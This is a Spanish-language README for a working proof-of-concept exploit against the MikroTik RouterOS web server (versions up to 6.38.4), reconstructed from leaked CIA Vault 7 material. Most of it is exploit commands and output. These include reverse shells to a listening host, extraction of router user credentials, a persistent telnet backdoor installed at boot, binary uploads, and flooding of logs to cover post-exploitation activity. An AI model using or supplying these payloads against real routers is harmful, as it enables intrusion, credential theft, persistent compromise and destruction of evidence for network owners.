
POC funcional del exploit de Mikrotik de las filtraciones de la CIA Vault 7
Ingeniería inversa del exploit de Mikrotik de las filtraciones de la CIA Vault 7
Consulta el PDF para más información (no actualizado)
Hasta RouterOS 6.38.4
Novedades en 6.38.5 (2017-Mar-09 11:32):
!) www - corregida vulnerabilidad del servidor http;
Crash simple enviando -1 como content-length en la cabecera post
Exploit de stack clash usando dos hilos, sin cadena ROP
Como el ROP se crea dinámicamente, tienes que extraer el binario www del firmware de RouterOS.
(Está ubicado en /nova/bin/)
Verifica que la versión en ejecución sea la misma.
Para simplificar la extracción puedes usar:
$ ./tools/getROSbin.py 6.38.4 x86 /nova/bin/www www_binary
Exploit de stack clash usando dos hilos con cadena ROP para ejecutar comandos bash
En una shell:
$ nc -l -p 1234
En otra shell:
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f 2>&1"
Donde:
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "cp /rw/store/user.dat /ram/winbox.idx"
$ sleep 3 # (espera algunos segundos a que www se reinicie)
$ curl -s http://192.168.8.1/winbox/index | ./tools/extract_user.py -
Puedes ejecutar comandos en la consola de Mikrotik con /nova/bin/info.
Ej: /nova/bin/info "/system reboot" reiniciará el sistema.
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/nova/bin/info '/export' > /ram/winbox.idx"
$ sleep 20 # (es un poco lento ejecutar el comando /export)
$ curl -s http://192.168.8.1/winbox/index
Exploit de stack clash usando dos hilos con cadena ROP + shell code para ejecutar comandos bash
En la versión mips de www la pila es RWX, así que podemos saltar a la pila.
Puedes ejecutar el mismo comando bash que en la versión x86.
Comando divertido
$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "echo hello world > /dev/lcd"

¡No lo hagas! ;-P
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "while [ true ]; do /nova/bin/info ':beep frequency=660 length=100ms;:delay 150ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=510 length=100ms;:delay 100ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=770 length=100ms;:delay 550ms;:beep frequency=380 length=100ms;:delay 575ms;:beep frequency=510 length=100ms;:delay 450ms;:beep frequency=380 length=100ms;:delay 400ms;:beep frequency=320 length=100ms;:delay 500ms;:beep frequency=440 length=100ms;:delay 300ms;:beep frequency=480 length=80ms;:delay 330ms;:beep frequency=450 length=100ms;:delay 150ms;:beep frequency=430 length=100ms;:delay 300ms;:beep frequency=380 length=100ms;:delay 200ms;:beep frequency=660 length=80ms;:delay 200ms;:beep frequency=760 length=50ms;:delay 150ms;:beep frequency=860 length=100ms;:delay 300ms;:beep frequency=700 length=80ms;:delay 150ms;:beep frequency=760 length=50ms;:delay 350ms;:beep frequency=660 length=80ms;:delay 300ms;:beep frequency=520 length=80ms;:delay 150ms;:beep frequency=580 length=80ms;:delay 150ms;:beep frequency=480 length=80ms;:delay 500ms;'; done"
Para subir busybox-mips a /ram/busybox
En una shell:
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ { echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x //g"; } | nc -l -q 0 -p 1234
En otra shell (ten en cuenta que este es el comando de reverse shell):
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"
y espera hasta que la conexión se cierre automáticamente.
(Una vez que el archivo esté subido, ejecuta de nuevo la reverse shell (esta vez solo escuchando con nc -l -p 1234) y encontrarás busybox dentro de /ram/)
Puedes ejecutar un script en cada arranque creando un script bash en /flash/etc/rc.d/run.d/.
¡Presta atención a establecer los permisos de ejecución, o tu router se quedará atascado en el arranque y tendrás que restaurar el firmware!
Este ejemplo habilita un servidor telnet persistente en el puerto 23000.
En una shell:
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ { echo "echo Installing..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /flash/bin/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x //g"; echo "chmod 777 /flash/bin/busybox"; echo "/flash/bin/busybox --install -s /flash/bin/"; echo "mkdir -p /flash/etc/rc.d/run.d"; echo 'echo -e "#!/flash/bin/sh\ntelnetd -p 23000 -l sh" > /flash/etc/rc.d/run.d/S89own'; echo "chmod 777 /flash/etc/rc.d/run.d/S89own"; echo "/nova/bin/info '/system reboot'"; echo "echo Done! Rebooting..."; } | nc -l -p 1234
En otra shell (ten en cuenta que este es el comando de reverse shell):
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"
y espera hasta que aparezca Done! Rebooting....
Una vez que el router esté de nuevo en marcha:
$ telnet 192.168.8.1 23000
Trying 192.168.8.1...
Connected to 192.168.8.1.
Escape character is '^]'.
MikroTik v6.38.4 (stable)
/ #
Reutiliza el socket http para lanzar una shell, así puedes tener una shell sin una conexión inversa.
$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary
[...]
sh: turning off NDELAY mode
Got root ;-)
Para subir busybox-mips a /ram/busybox
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary busybox-mips /ram/busybox
[...]
Uploading busybox-mips in /ram/busybox...
Upload done!
sh: turning off NDELAY mode
Got root ;-)
chmod 777 /ram/busybox
/ram/busybox
BusyBox v1.28.1 (2018-02-15 14:34:02 CET) multi-call binary.
[...]
Solo se admiten archivos RGB Bitmap de 24 bits (sin comprimir).
Tamaño máximo: 160px de ancho, 76px de alto
Puedes encontrar un ejemplo aquí
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary docs/logo.bmp /flash/boot/logo.bmp
[...]
Uploading docs/logo.bmp in /flash/boot/logo.bmp...
Upload done!
sh: turning off NDELAY mode
Got root ;-)
reboot
*** Connection closed by remote host ***

Para eliminar los logs después de tus acciones de post-explotación
/ # /nova/bin/info ":for i from=1 to=1000 do={ :log info message='Some dummy info' }"
Esto es una ingeniería inversa de documentación filtrada de la CIA.
No hay ningún chimay-red.py disponible públicamente.
Actualizaré el PDF tan pronto como tenga suficiente tiempo, de todos modos:
Sabemos que: